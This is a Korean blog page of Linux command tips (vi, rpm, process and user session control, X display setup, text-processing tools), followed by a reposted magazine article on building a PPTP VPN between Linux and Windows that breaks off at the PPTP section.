[root@dream /root]# skill -KILL sunny

위의 명령을 내리면 sunny 라는 사용자를 완전히 추방시킬수 있습니다. 그런데 이렇게 완전히 추방시키는게 아니구, 특정 터미널에 접속해있는 사용자만 추방시켜야 할 때도 있겠죠? 그럴때는

[root@dream /root]# skill -KILL -v pts/14

이런식으로 하면 된다 그럼 pts/14 에 연결되어 있는 사용자가 죽게 됩니다.

0.0.0.12 less 결과를 vi로 보기

less상태에서 v를 누르면 바로 vi로 감

0.0.0.13 vi에서 블럭 설정하기

alt+v 하면, 라인 단위로 블럭 설정을 할 수 있으며, 해제 하시려면 Esc를 누르면 됩니다. 또한 ctl+v를 하시면, 블럭 단위로 블럭을 설정하실 수 있습니다.

블럭을 설정 하신 뒤,

삭제를 하려면 x 복사를 하려면 y 붙여넣기는 p

0.0.0.14 man 페이지 프린트하기

man -t vi > vi.ps

0.0.0.15 ping 무시하기

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all 

0.0.0.16 LILO 다시 살리기

boot : vmlinuz root=/dev/hda6

0.0.0.17 특정 사용자 ftp 접근 막기

/etc/ftpusers 파일에 로그인 네임을 추가하면 됩니다.

0.0.0.18 X 윈도우에서 TV보기

리눅스에서 TV보기 위해서는 드라이버 파일과 TV를 보는 프로그램이 필요합니다. 이 글에서는 미지 리눅스 OS에 탑재된 bttv 칩셋을 사용하는 TV 카드를 기준으로 설명합 니다. 만일 커널을 새로 컴파일 하실 분은 반드시 Character devices -> Video For Linux -> BT848 Video For Linux 항목을 모듈화 시키거나 커널에 포함하십시오.

TV 카드를 리눅스에 인식시키기 위해서 /etc/conf.modules 파일에 다음과 같은 내용을 삽입하고 컴퓨터를 다시 시작합니다.

alias char-major-81 bttv  # 필립스 튜너의 경우 pre-install bttv modprobe -k tuner # 알프스 튜너의 경우 pre-install bttv modprobe -k tuner type=9 

이제 kwintv나 xawtv 등의 TV 시청 프로그램으로 TV를 볼 수 있습니다. 만약 TV 장치를 찾지 못하는 오류가 있다면 bttv driver 디렉토리에 포함된 MAKEDEV 를 실행하십시오.

0.0.0.19 ls라는 파일이 포함된 rpm패키지 찾기

일단 ls의 절대경로를 알아야 한다. which lswhich로 알아낸 ls의 절대경로로 rpm질의를 한다.
rpm -qf /bin/ls [root@piruks /etc]# which ls /bin/ls [root@piruks /etc]# rpm -qf /bin/ls fileutils-4.0i-2mz 

0.0.0.20 현재 rpm패키지의 의존패키지

rpm -qR 패키지명

0.0.0.21 현재 디렉토리크기

du -h --max-depth=1 . 

0.0.0.22 바로 이전 디렉토리로 가기

cd - 

0.0.0.23 프로세스명으로 프로세스 죽이기

killall 프로세스명 kill -9 `pidof 프로세스명 

0.0.0.24 하드웨어 시계맞추기

배포본을 설치하고 나면 시간이 맞지 않는 경우가 많다. 간단히 어느정도 정확한 시간을 설정하는 방법이다.
[root@dev /down]# rdate -s time.kriss.re.kr [root@dev /down]# clock -w 

0.0.0.25 원격에서 리모트서버의 X application실행시

X윈도 app를 실행할때 다음과 같은 에러가 나면 조치
[kang@dev /home/kang] xclock Xlib: connection to "211.222.186.170:0.0" refused by server Xlib: Client is not authorized to connect to Server Error: Can't open display: 211.222.186.170:0.0  export DISPLAY=211.222.186.170:0 xhost +211.222.186.170 

0.0.0.26 링크 파일

ln -sf 링크할디렉토리 링크로 만들어질 디렉토리 참고로 링크를 걸기만 한다고 접근가능한것은 아니고,링크가 걸린 디렉토리의 퍼미션도 허용으로 바꿔야 한다. 링크로 만들어질 디렉토리는 저절로 생성되고 퍼미션 777로 잡혔음. ln -sf /www/dir_1/r_photo /www/dir_2/r_photo

0.0.0.27 ^M 문자 없애기

a = 1^M def vartest(a):^M a = a + 1^M return a^M a = vartest(a)^M print a^M  
Unix류 기계에서는 그냥 ^J 하나만을 개행문자로 사용하는데 PC에서는 MJ 이렇게 두 제어문자가 연속으로 사용되어야 개행문자로 받아들이죠. (그래서 PC쪽에서 만들어진 txt문서를 유닉스 기계로 불러와 vi 등을 실행하면

    줄 끝마다 보기싫은 ^M이 붙습니다. 뭐 vi에서 요거 지우는건 간단하지만요.)

PC에서 Unix에서 작성한 텍스트 문서를 보통 ftp로 받아오거나 하면 워드패드 등에서 봤을 때 전혀 개행이 되어있지 않지요. 하지만 MS Word 등 좀더 강력한 편집기에선 대개 잘 처리해서 잘 보여줍니다.

위는 간단한 Python 소스입니다. 위의 경우 처럼 ^M문자가 있을때, dos2unix라는 유틸리티를 많이 사용하기도 하죠. 하지만 vi에서 간단하게 모두 삭제할수도 있습니다. dos2unix가 없거나 빠져나가서 지우는게 귀찮을때 좋겠죠. 명령은 :%s/(ctrl+v)M//g 입니다. (ctrl+v)M 이거는 ctrl과 v를 눌러준후, ctrl키를 떼지 말고 바로 m을 눌러주시믄 됩니다. 위는 정규표현식을 이용한것이고, 형식은 %s/이것을/요걸로/g 입니다 그럼 문서안의 모든 "이것을" "요걸로" 바꾸게 되죠. 단, M의 경우 ctrl+M의 뜻인데 단순히 문자로 M을 바꾸라도 해도 인식을 못하기 때문에, 위처럼 (ctrl+v)M 으로 해주셔야 합니다.

0.0.0.28 비어있는 행을 찾기

#grep -n '^$' filename 정규표현 의미 ^ 행의 처음 $ 행의 끝 . 임의의 한 문자
[...] ... 안의 임의의 한 문자. a-z,0-9 같은 범위도 사용 [^..] .. 안에 없는 임의의 한 문자. 범위 사용가능 r* 0회 이상 r 반복 r+ 1회 이상 r 반복 r? 0 혹은 1회의 r r{n,m} n회 이상 m회 이하 r 반복 r1|r2 r1 혹은 r2 (egrep 만) (r) r 의 정규표현(egrep 만) 

0.0.0.29 기타 명령어 떼

alias(명령어 간소화하기) apropos(관련된 명령어 찾기) arch(컴퓨터 종류 알기) arp(같은 서브넷의 IP 보여주기) at(작업 시간 정하기) atd(계획성 있는 작업 실행하기) awk(특정 패턴 문자 처리하기) a2p(펄 파일로 바꾸기) badblocks(배드 블럭 검사하기) bc(계산기) biff(메일 수신 소리로 확인하기) bg(후면작업; 배경화면 설정) bind(키나 함수 순서 결합하기) break(루프 빠져나가기) cal(달력보기) builtin(내부 명령어 알아보기) case(조건 처리하기) cat(화면상에서 파일 보기) cd(디렉토리 변경하기) cfdisk(디스크 설정하기) chattr(파일 속성 변경하기) chfn(사용자 정보 변경하기) chgrp(파일, 디렉토리가 속했던 그룹 바꾸기) chmod(파일 권한 바꾸기) chown(파일 주인 바꾸기) chsh(지정된 셸 바꾸기) cksum(CRC값을 점검한다) clear(화면 청소하기) clock(CMOS 시각을 조정하기) cmp(파일 비교하기) colcrt(문자 변환 필터) colrm(열 삭제하기) column(가로 정렬하기) comm(파일 비교 출력하기) command(명령어 알아보기) continue(루프 계속돌기) cp(파일 복사하기) cpio(복사본 만들기) crontab(cron을 관리한다) csplit(파일에 서식, 규칙 정하기) cut(필요한 필드만 출력하기) date(날짜 보기) dd(블럭장치 읽고 쓰기) debugfs(ext2 파일 시스템 디버깅하기) declare(변수 선언하기) df(파일 시스템의 사용량 보기) dirs(디렉토리 목록 표시하기) dmesg(부팅 메시지 보기) dnsdomainname(DNS 이름 출력) domainname(NIS 이름 출력&설정) du(디렉토리와 파일의 용량 파악하기) dumpe2fs(파일 시스템 정보 보기) echo(표준 출력하기) eject(장치 해제하기) elm(메일 관련) enable(내부 명령어 지정) env(환경변수 출력하기) eval(인수 읽기) exec(셸 명령어 실행하기) exit(종료하기) expand(탭을 공백으로 변환하기) export(변수 지정하기) e2fsck(파일 시스템 복구하기) fc(지정된 편집기 받기) fdformat(플로피 디스크 포맷하기) fdisk(파티션 나누기) fg(지정된 작업을 전면 프로세스로 시작하기) file(파일 종류 보기) find(파일 찾기) finger(사용자 정보 알기) fold(정형화하기) fmt(정형화하기) for(반복 실행하기) free(메모리 사용량 알아보기) fsck(파일 시스템 검사하기) fstab(파일 시스템에 대한 고정적인 정보 저장하기) ftp(파일 전송 프로그램) fuser(프로세스 ID 출력) getkeycodes(매핑 테이블 출력하기) grep(특정 문자(열) 검색하기) gzexe(실행 파일 압축하기) gzip(압축하기) halt(시스템 종료하기) hash(기억해 두기; index 역할) head(파일의 앞부분 출력하기) help(도움말 보여주기) host(호스트 정보 보기) history(사용 명령어 목록보기) hostname(서버 이름 알기) id(계정 정보 알기) if(조건문 실행하기) ifconfig(랜카드에 주소 할당하기) imolamod(모듈 설치하기) inetd(인터넷 서비스의 최상위 데몬) init(실행 단계 정하기) ispell(철자법 검사하기) jobs(수행중인 프로세스 알기) kbd_mode(키보드 모드 출력하기) kill(프로세스 죽이기) klogd(커널 로그 데몬) ldd(공유 라이브러리의 의존성 알기) less(페이지 단위로 출력하기) let(정규식 표현하기) lilo(부팅하기) ln(링크하기) locate(패턴에 맞는 파일 찾기) login(로그인하기) logger(시스템 로그 기록하기) logname(사용자 로그인명 보여주기) logout(로그인 셸 종료하기) look(특정 단어 검색하기) losetup(중복 장치 확인하기) lpd(프린트 데몬) lpq(현재 프린트 작업 상태 출력하기) lpr(출력하기) lprm(대기열에 있는 문서 삭제하기) ls(디렉토리 내용보기) lsattr(파일 시스템의 속성 보여주기) lsdev(하드웨어 장치 출력하기) lsmod(모듈 정보 출력하기) mail(메일 관련) make(컴파일하기) man(매뉴얼 보기) mattrib mbadblocks mcd mcopy mdel mdeltree mdir mesg(메시지를 받을 수 있는지 확인하기) mformat minfo mkdir (디렉토리 만들기) mke2fs(파일 시스템 생성하기) mkfs(파일 시스템 만들기) mknod(특수 파일 만들기) mkswap(스왑 영역 지정하기) mlabel mmd mmount mmove mpartition mount(장치 연결하기) more(화면 단위로 출력하기) mrd mren mtoolstest mtype mutt(메일 관련) mv(파일 옮기기) mzip netstat(현재 네트웍 상황 보기) nice(프로세스 우선 순위 변경하기) od(8진수로 파일 보기) passwd(암호 입력하기) pidof(실행중인 프로그램의 프로세스 ID 찾기) pine(메일 관련) ping(네트웍 확인하기) popd(pushd 취소) ps(프로세스 상태 알기) pstree(프로세스 상관관계 알기) pwd(절대경로 보여주기) quota(디스크 한계량 알기) rarp(rarp 테이블 관리하기) rcp(원격 호스트에 파일 복사하기) rdev(루트, 스왑장치, 램 크기, 비디오 모드를 조사하고 설정하기) rdate(네트웍으로 시간 설정하기) reboot(재부팅하기) rmmod(모듈 지우기) readonly(읽기 전용으로 표시하기) renice(프로세스 우선 순위 바꾸기) reset(터미널 초기화하기) restore(다시 저장하기) rlogin(바로 접속하기) rm(파일 지우기) rmdir (디렉토리 지우기) route(라우팅 테이블 추가/삭제하기) rpm(프로그램 추가/삭제) rpm2cpio(rpm을 cpio로 변환하기) rsh(원격으로 명령어 실행하기) rup(호스트 상태 출력하기) rusers(호스트에 로그인한 사용자 출력하기) rwall(호스트 사용자에게 메시지 뿌리기) script(기록하기) set(변수값 설정하기) setup(시스템 관련 설정하기) showmount(호스트의 마운트 정보 보여주기) shutdown(전원 끄기) sleep(잠시 쉬기) source(스크립트 번역하기) split(파일 나누기) ssh(암호화된 원격 로그인하기) stty(터미널라인 설정 보여주기) su(계정 바꾸기) suspend(셸 중단하기) swapoff (스왑 해제하기) swapon(스왑 활성화하기) sync(버퍼 재설정하기) syslogd(로그인 과정 설정하기) tac(거꾸로 보기) tail(문서 끝부분 출력하기) talk(이야기하기) tar(파일 묶기) tcpdchk(tcp wrapper 설정하기) tcpmatch(네트웍 요청에 대해 예측하기) tee(표준 입력으로부터 표준 출력 만들기) telnet(원격접속하기) test(테스트하기) times(셸에서의 사용자와 시스템 시간 출력하기) top(cpu 프로세스 상황 보여주기) tr(문자열 바꿔주기) true(종료 코드 리턴하기) type(유형 보기) ul(밑줄 처리해서 보여주기) ulimit(제한하기) umask(매스크 모드 설정하기) umount(장치 해제하기) unalias(별명 제거하기) uname(시스템 정보 보기) unexpand(공백 문자를 탭으로 변환하기) uniq(중복된 문장 찾기) useradd(사용자 계정 만들기) userdel(계정 삭제하기) usermod(사용자 계정정보 수정하기) unset(설정 변수 해제) uptime(시스템 부하 평균 보여주기) users(로그인된 사용자 보여주기) w(시스템에 접속한 사용자 상황 알아보기) wait(프로세스 기다리기) wall(모든 사용자에게 메시지 보내기) wc(문자, 단어, 라인수 세기) whatis(명령어의 간단한 설명보기) while(루프 명령어) who(사용자 알기) write(콘솔 상에서 간단한 메시지 보내기) xcopy(반복적으로 복사하기) XFree86 ypchfn(NIS에서 사용하는 chfn 명령어) ypchsh(NIS에서 사용하는 chsh 명령어) yppasswd(NIS에서 사용하는 passwd 명령어) zcat(압축 파일 보기) zcmp(압축 파일 비교하기) zforce(강제로 gz 만들기) zgrep(압축 상태에서 grep 실행하기) zmore(압축 상태에서 more 실행하기) znew(.Z 파일을 .gz로 다시 압축하기) 

0.0.0.30 각자가 사용하는 컴퓨터의 정보를 알고 싶을때

[root ...]#more /proc/cpuinfo 위와 같이 치면 사용자의 컴퓨터 정보를 볼수 있으며, [root ...]#more /proc/meminfo 라고 치면 사용자의 메모리 정보를 볼수 있습니다.

0.0.0.31 전체 메일

먼저 보낼 내용을 텍스트로 파일로 만들어야 합니다.어디에서든지 가능하지요! [ root@aromi /root]# vi nea 안녕하세요! 저희 서버에서는 웹서버를 오늘부터 시작합니다. 사용자 여러분의 많은 관심과 이용을 부탁드립니다.
 :wq [ root@aromi /root]# 
만약, 한글을 사용하지 못하면 윈도우95에서 먼저 쓴다음에 ftp를 이용해서 올리면 됩니다.
[ root@aromi /root]# mail -s "[공지]" `cat /etc/passwd|gawk ?F :'{print$1}'` 
[공지]-> 라고 쓴 것은 보낼 메일의 제목입니다. 'cat /etc/passwd|gawk -F : '{print$1}'' ->먼저 cat으로 passwd파일의 첫번째 나오는 내용을 출력하라는 소리입니다. nea라는 텍스트파일을 메일의 내용으로 보내라는 내용입니다.

0.0.0.32 디렉토리만 빠르게 검색

ls -al | grep "^d"

0.0.0.33 호스트 네임 바꾸기

/etc/HOSTNAME file은 부팅시 /etc/sysconfig/network file 의 HOSTNAME 부분을 참조하여 저장합니다. 호스트 네임을 바꾸고자 한다면 /etc/sysconfig/network file 의 HOSTNAME 부분을 바꿔주면 됩니다.
[ root@linux /root]# vi /etc/sysconfig/network NETWORKING=yes HOSTNAME="linux" GATEWAY="" GATEWAYDEV="" FORWARD_IPV4="yes" 
바꾸신후 시스템을 재부팅 하신거나, #/etc/rc.d/init.d/network restart 명령을 내리시면 됩니다.

0.0.0.34 틀린명령어 틀린글자만 바꿔서 실행

# ./configure --prefax=/usr/local/apache 앗, 틀렸습니다. prefax가 아니라 prefix인데... 고쳐야지요...간단하게 화살표키로 왔다갔다 하면서 지워지고 바꿔주면 되겠지만 다른 방법이 있습니다. # ^fax^fix^ 라고 하면... -> ./configure --prefix=/usr/local/apache 라고 됩니다..

0.0.0.35 유닉스의 현재 버젼과 종류 그리고 라이센스등을 알려주는 명령어

[ root@aromi /root]# uname -a

0.0.0.36 열려있는 포트 알아내기

netstat -anp | grep LISTEN

0.0.0.37 텔넷 모든 접속자에게 메세지 보내기

wall 내용... Ctrl-D

0.0.0.38 lsof는 열려있는 파일을 나타내 주는 옵션

여기에 보안 점검을 위하여, -i 옵션을 사용하면, 현재 열려 있는 포트와 링크되어 있는 서비스 또는 프로그램이 모두 나타나죠. 자신이 열어 놓지 않은 포트가 열려있다던지하면 한번쯤 의심해 봐도 되겠죠?

0.0.0.39 사용자가 어디에서 무엇을 하는지 알아내기

w라는 명령어를 사용하시면 된답니다. 이 때, w [-s] 를 붙여주시면 -s 옵션이 긴 정보 대신에 필요한 짧은 정보만 알려 준답니다.

0.0.0.40 텔넷 화면 수정

로그인화면: /etc/issue.net 로그인후화면: /etc/motd

0.0.0.41 하위 디렉토리 한꺼번에 만들기

mkdir -p music/koreanmusic/ost

0.0.0.42 특정디렉토리의 모든 파일 안의 특정 문자열 치환

for i in $*; do     sed "s/paper/PAPER/g" < $i > $i.new     mv -f $i.new $i done  <chihwan.sh>  find ./(chihwan.sh를 포함하지 않는 디렉토리면) -type f -exec chihwan.sh {} \; 

0.0.0.43 killall 명령 시뮬레이션 (프로세스명으로 죽이기)

ps aux | grep 프로세스명 | grep -v grep | awk '{ print $w }' | xargs kill -9
  • 모든 프로세스 나열
  • 지정한 프로세스만 뽑아냄
  • grep 명령이 포함된 라인 제거
  • awk로 두번째 필드만 뽑아냄
  • xargs에 의해 걸러진 아이디로 죽임

0.0.0.44 find와 grep

find . -name "H20021115.*" -exec grep -l '...;........;110100' {} \;

0.0.0.45 vi 검색, 치환

구호스트 서비스 오늘 날짜에서 분류코드가 110100인 파일 찾기 :%s/./\U&/g

모든문자->대문자 g/^$/d

0.0.0.46 파일내의 중복되는 행을 제거 : uniq

입력 파일에서 연속되는 행을 비교하여, 두 번째 이상의 동일한 행들을 제거하고 나머지는 출력파일로 출력 연속되어 표시되지 않으면 동일한 행이 존재할 수 있음.

sort 명령을 사용하여 정렬한 후 사용하는 것이 타당 사용법uniq [-cdu] [+|숫자] [입력파일 [출력파일]] -c : 각 행이 연속적으로 나타난 횟수를 행의 시작부분에 표시 -d : 연속적으로 반복되는 행만 출력 -u : 연속적으로 반복되지 않는 행만 출력 +숫자 : 행의 처음 '숫자' 만큼의 문자는 무시 -숫자 : 행의 처음 '숫자' 만큼의 필드는 무시

0.0.0.47 파일의 결합

여러 개의 텍스트 파일을 하나의 파일로 순차적으로 묶는데 사용
cat [파일명1] [파일명2] ... > [출력파일명]  cat [파일명1] [파일명2] ... >& [출력파일명]  cat [파일명1] [파일명2] ... >> [출력파일명] cat [파일명1] [파일명2] ... >>& [출력파일명] cat - [파일명1], [파일명2] .. >> [출력파일명] cat - [파일명1], [파일명2] .. >>& [출력파일명]   % cat > file1 파일명 : file1 ^D % cat > file2 파일명 : file2 ^D % cat file1 file2 > file3 % cat file3 파일명 : file1 파일명 : file2 %  

행단위 결합 : paste 여러 파일에 대해여 행간 결합을 수행하거나 하나의 파일에 대해 연속되는 행들을 결합 둘이상의 파일에 대해서 테이블상의 하나의 열과 같이 취급하여 동일한 행번호 끼리 결합

 paste [파일명1] [파일명2].. paste -d리스트 [파일명1] [파일명2] ... paste -s [-d리스트] [파일명]  d : 행간 결합시 행간 구분문자들의 리스트 s : 한파일의 연속되는 행을 결합  % cat > paste.data1 홍길동 이순신 김유신 % cat > paste.data2 부산 서울 대구 % paste paste.data1 paste.data2 홍길동 부산 이순신 서울 김유신 대구 % paste -d"\n" paste.data1 paste.data2 홍길동 부산 이순신 서울 김유신 대구 % paste -s -d"::\n" paste.data1 홍길동:이순신:김유신 % 

두 파일을 동일한 필드 값에 따라 행 단위 결합 : join

관계형 데이터 베이스에서의 join 연산과 동일 키로 사용할 필드에 대해 정렬된 두 파일의 각 행에 대해 동일한 키 값을 갖는 행들을 결합 입력으로 사용될 두 파일은 키 값에 대해 오름 차순으로 정렬되어 있어야 함 출력 결과는 기본적으로 키 값이 먼저 표시되고, 첫번째 파일에서 키를 제외한 나머지 필드, 두번테 파일에서 키를 제외한 나머지 필드가 표시 필드 구분은 공백, 탭, 개행문자가 기본, 연속적으로 나타날 경우 하나로 취급

% cat > join.data1 98001:서원일: 98002:홍길동: 98003:김유신: 98004:이순신: 98010:이상관: % cat > join.data2 부산:98001:441 울산:98002:89 대구:98003:99 서울:98004:120 김해:98010:44 % join -j1 1 -j2 2 -t: join.data1 join.data2 98001:서원일::부산:441 98002:홍길동::울산:89 98003:김유신::대구:99 98004:이순신::서울:120 98010:이상관::김해:44 % join -j1 1 -j2 2 -o 1.2 1.1 2.1 -t: join.data1 join.data2 서원일:98001:부산 홍길동:98002:울산 김유신:98003:대구 이순신:98004:서울 이상관:98010:김해 %  

0.0.0.48 파일의 암호화 : crypt

파일을 암호화 하여 키를 알지 못하는 사람은 내용을 볼 수 없도록 함 표준 입출력 사용
% cat > crypt.data test test 안녕하십니까? ^D % crypt <crypt.data > crypt.data1 Enter key: hello % ls -l crypt* -rw-r--r-- 1 wiseo pro 24 9월 24일 14:47 crypt.data -rw-r--r-- 1 wiseo pro 24 9월 24일 14:48 crypt.data1 % crypt < crypt.data1 Enter key:hello test test 안녕하십니까? % 

0.0.0.49 개행을 제외한 화면내의 보이지 않는 문자 출력

cat -v http://comp-cse.sch.ac.kr/~pl/lecture/linux/file2.html

0.0.0.50 화일내의 포함된 특정문자열로 찾아서 내용만 출력하기

grep -h '20030305......01' ./R00*

0.0.0.51 특정 파일의 화일명을 비슷하게 여러개 한꺼번에 바꾸기

ls *.* | awk '{print "mv",$1, $1 }' | sed "s/ \([a-zA-Z0-9]*\)\.\([a-zA-Z0-9]*\)$/ \1\.\_\2/g" 
  • 현재디렉토리의 모든 *.* 파일을 *._* 형식으로 바꾼다.
  • 더 간단하게 ls *.* | sed "s/\([a-zA-Z0-9]*\)\.\([a-zA-Z0-9]*\)/mv \1\.\2 \1\.\_\2/g"


0.0.0.52 어제 날짜 구하기

$ date -v-1d "+%Y-%m-%d" [컴퓨터분류]

0.0.0.53 원하지 않는 사용자 죽이기

[root@dream /root]# skill -KILL sunny

위의 명령을 내리면 sunny 라는 사용자를 완전히 추방시킬수 있습니다. 그런데 이렇게 완전히 추방시키는게 아니구, 특정 터미널에 접속해있는 사용자만 추방시켜야 할 때도 있겠죠? 그럴때는 [root@dream /root]# skill -KILL -v pts/14

이런식으로 하면 된다 그럼 pts/14 에 연결되어 있는 사용자가 죽게 됩니다.

0.0.0.54 UNIX상에서 한글출력이 깨져 나올경우

유닉스상에서 한글을 stdout출력할 경우 가끔 출력되는 문자들이 몽땅 깨져서 나오는 경우가 있다. 이때부터는 프로그램이 종료된 이후에도 쉘 프람프트를 비롯, 쉘에서 입력하는 모든 커맨드가 깨져서 나온다. 이는 ascii code 로 ^n 에 해당하는 문자가 출력될 때 나오는 현상으로 그 이후로는 MSB가 모두 켜지기 때문이다. 문자가 깨져나오는 이후부터 ascii code 로 ^o 에 해당하는 문자를 출력하면 반대로 된다. 쉘 커맨드 상에서라면, # echo ^v^o

라고 해야겠지만 커맨드가 깨져나오므로 shell이 해석을 못한다. 따라서, command line에서 ^v^o를 치고 enter 하면 된다

0.0.0.55 현재 디렉토리의 대량의 파일을 각자의 파일명가운데에 특정문자 추가하여 바꾸기

/bin/ls A?????.html | sed 's/A\(.....\)\.html/\1/g' | xargs -t -i mv 'A{}.html' 'A0{}.html' 
/bin/ls는 ls가 보통 -F로 파일 종류 표시(*, @등)까지 하기 때문에 그걸 막기 위한 것이고 xargs의 -t는 트레이스모드이다.
2006/09/08 22:39 2006/09/08 22:39
이 글에는 트랙백을 보낼 수 없습니다
출처 블로그 > H.i.p.p.i.e .♂. N.a.y.a
원본 http://blog.naver.com/xxfinger/100002953652

[펌] 온더넷


리눅스/윈도우의 PPTP 프로토콜로 VPN 구성하기 ①
 출판일 :2004년 6월호

VPN을 운영하는 데는 다양한 프로토콜이 있다. 이중 PPTP(Point-to-Point Tunneling Protocol)는 TCP/IP 상에서 안전한 통신을 지원하고 멀티프로토콜 통신을 추가한 새로운 개념의 프로토콜이다. 또한 PPTP를 이용한 통신으로, 리눅스와 윈도우 간의 VPN을 쉽게 구축할 수 있다. 이 글을 통해 리눅스와 윈도우를 이용해 서버 대 서버, 서버 대 클라이언트를 구성하는 방법을 알아본다.



정낙수, 정민, 김규현_국민대학교 OSSRC 소속 개발자

VPN 서비스를 이용하는 가장 쉬운 방법은 VPN 장비를 도입하는 것이지만, 그 비용은 접속 노드 2∼3개를 증설할 수 있는 것과 맞먹기 때문에 중소기업은 부담스러운 것이 현실이다. 하지만 중소기업에서 비용 부담없이 VPN을 구축할 수 있는 방법이 있다. 구형 PC와 윈도우, 리눅스를 이용해 VPN을 구축하는 것으로, 여러 가지 장점이 있다.  
윈도우, 리눅스가 모두 소프트웨어이기 때문에 기능 업그레이드를 손쉽게 할 수 있고 다양한 프로토콜의 지원도 가능해진다. 물론 저렴하다는 점 역시 매우 큰 장점이다. 클라이언트 용도로 사용하기 힘든 PC에 윈도우 2000 서버를 이용해 VPN 서버를 구성할 수도 있고, 윈도우 2000 라이센스 비용에 일반 PC 비용 대신 폐기 처분될 PC에 리눅스를 설치해 VPN 서버로 만들 수 있으니 말이다.
또한 세션이 무제한이라는 장점이 있다. 소규모 네트워크를 위한 VPN 장비의 경우 최대 세션과 터널 수에도 제한이 있다. 때문에 일정 수의 사용자 이상은 접속할 수 없다는 단점이 있지만, 공개 소프트웨어나 기본 내장 VPN을 이용한 경우에는 최대 세션 수 제한이 없기 때문에 사용자 수를 확장해 사용할 수 있다. 그러나 소프트웨어로 구현된 장비가 늘 그렇듯이 하드웨어 장비에 비해 속도가 느리다는 단점이 있다. 물론 소프트웨어의 경우 해당 소프트웨어에 대한 정확한 이해가 필요하다는 것도 단점일 수 있다. 어떤 점에 더 비중을 둘 것인가는 네트워크 관리자의 몫이고 가장 적합한 솔루션을 선택하는 것 역시 네트워크 관리자의 몫이므로 여기에서 무엇이 더 좋은가에 대한 의제는 무의미할 것이다.

다양한 VPN 프로토콜을 통한 안전한 통신 확보
구축에 앞서 VPN의 개념을 파악해보자. VPN은 공중 통신망 기반 시설을 터널링 프로토콜과 보안 절차 등을 사용해 개별 기업의 목적에 맞게 구성한 사설 네트워크다. 자체망이나 전용회선의 개념을 인터넷과 같은 공중망을 통해 이용하는 것이다. VPN은 모든 회사들이 저마다 개별적으로 회선을 임대하는 것보다, 공중망을 공유함으로써 비용은 낮추면서도 전용회선과 거의 동등한 서비스를 사용하기 위해 활용된다. 또한 인증, 암호화, 복호화, 라우팅 등의 방식을 통해 데이터를 안전하게 처리할 수 있도록 지원한다.
VPN은 공중망을 통해 데이터를 송신하기 전에 데이터를 암호화하고, 수신측에서 복호화한다. 암호화는 데이터뿐 아니라, 부가적인 차원의 보안으로서 송수신지의 네트워크 어드레스도 포함한다. 또한 최근 모바일 업무가 증가함에 따라 모바일을 사용하는 직원들의 안전한 사내 네트워크 사용을 위해서도 VPN은 사용된다.


(그림 1) VPN을 이용한 LAN to LAN 구성



(그림 1)과 같이 3개의 사업장이 있을 때 각각의 사업장은 다른 사업장에 접근하기 위해서는 모든 장비에 공인 IP를 부여해야 한다. 이는 보안상 문제점을 지니며 IP를 확보하는 것 역시 부가 비용이 든다. 하지만 각각의 사업장을 VPN을 통해 터널을 생성하면 3개의 사업장이 하나의 네트워크 세그먼트를 구성하며 이를 통해 내부 IP를 사용하더라도 다른 사업장의 장비에 접근할 수 있다.
둘째, 리모트 액세스(Remote Access) VPN은 재택 근무나 모바일 근무와 같은 단독 사용자 환경에 적합한 구성이다. (그림 2)와 같이 외부의 사용자가 인터넷을 이용해 사업장의 VPN을 통해 터널을 생성하게 되면 모바일 사용자가 회사내의 사용자 혹은 자원에 로컬 네트워크에 속해있는 것과 같이 사업장내의 다른 자원에 접근할 수 있다.


(그림 2) VPN을 이용한 리모트 액세스 구성

VPN 솔루션은 마이크로소프트, 3Com 그리고 몇몇 다른 회사들이 PPTP라는 표준 프로토콜을 제안했으며, 시스코는 L2F, L2TP 등의 VPN 솔루션을 제공하고 있다. 최근의 노텔, 넷스크린, 시스코 장비들은 이같은 프로토콜을 모두 지원하고 있으므로, 서로 다른 장비를 이용하더라도 VPN 연결은 매우 손쉽게 구성할 수 있다. 기본적인 구성은 LAN to LAN VPN으로, 지사와 같은 멀티 유저 환경에서 프로토콜을 이용해 가상 네트워크를 만든다. VPN을 구성하는 프로토콜은 다음과 같다.


·IPSec 프로토콜
IPSec(Internet Protocol Security)은 보안을 위해 계획된 프로토콜로, RFC-2411에 정의돼 있다. 이전의 보안 기법들은 보안이 통신 모델의 애플리케이션 계층에 삽입됐다면 IPSec은 본질적으로 데이터 송신자의 인증을 허용하는 인증 헤더 AH와, 송신자의 인증과 데이터 암호화를 함께 지원하는 ESP(Encapsulating Security Payload), 키교환을 위한 IKE 등의 보안 서비스를 제공한다. AH는 MD5 또는 HMAC 알고리즘을 사용해 인증을 처리한다. ESP는 DES, RC5 등의 암호화 알고리즘을 사용해 데이터를 암호화한다. IKE 키관리 절차에서는 ISAKMP/Oakley 프로토콜과 같은 별개의 키 프로토콜들이 선택할 수 있다. 이같은 각 서비스에 관련된 명확한 정보는 IP 패킷 헤더의 뒤를 잇는, 헤더 속의 패킷에 삽입된다. AH가 무결성을 보장한다면 ESP는 보안성을 보장한다. 그리고 IPSec으로 전송시 전송 모드(Transport Mode)와 터널 모드(Tunnel Mode)를 지원한다.

·L2TP 프로토콜
L2TP(Layer 2 Tunneling Protocol)는 L2F 프로토콜을 향상시키기 위해 마이크로소프트의 PPTP와 시스코사의 L2F(Layer 2 Forwarding) 프로토콜이 결합돼 IETF가 산업 표준으로 제정한 터널링 프로토콜이다. 현재 L2TP v3는 L2TP를 확장해 일부 새로운 서비스 모델을 포함시켰다. 또한 PP만이 아닌 터널링 대안의 계층 2PDU에 대한 지원도 제공된다. LT2P는 IP, IPX, NetBEUI 트랙픽을 암호화 한 다음, IP 헤더로 캡슐화해 전송한다. PPP에서 제공되는 데이터 암호화 기법을 사용할 수도 있고 IPSec에 의해 제공되는 더 강력한 데이터 암호화 기법을 사용할 수 있다. 이때는 L2TP/IPSec라고 한다. L2TP와 IPSec의 결합 형태에서 연결은 DES(Data Encryption Standard) 알고리즘을 사용하는데, 이 알고리즘은 DES에 대해 하나의 56비트 키를, 3DES에 대해 세 개의 56비트 키를 사용한다. L2TP/IPSec 연결은 두 가지 수준의 인증을 요구한다. IPSec SA(보안 연결)를 작성해 L2TP 캡슐화 데이터를 보호하기 위해 L2TP/IPSec 클라이언트는 인증서나 미리 공유된 키를 사용해 컴퓨터 수준의 인증을 수행한다. IPSec SA가 성공적으로 작성되면 연결의 L2TP 부분에서 PPTP와 동일한 사용자 수준의 인증을 수행한다.

·PPTP 프로토콜
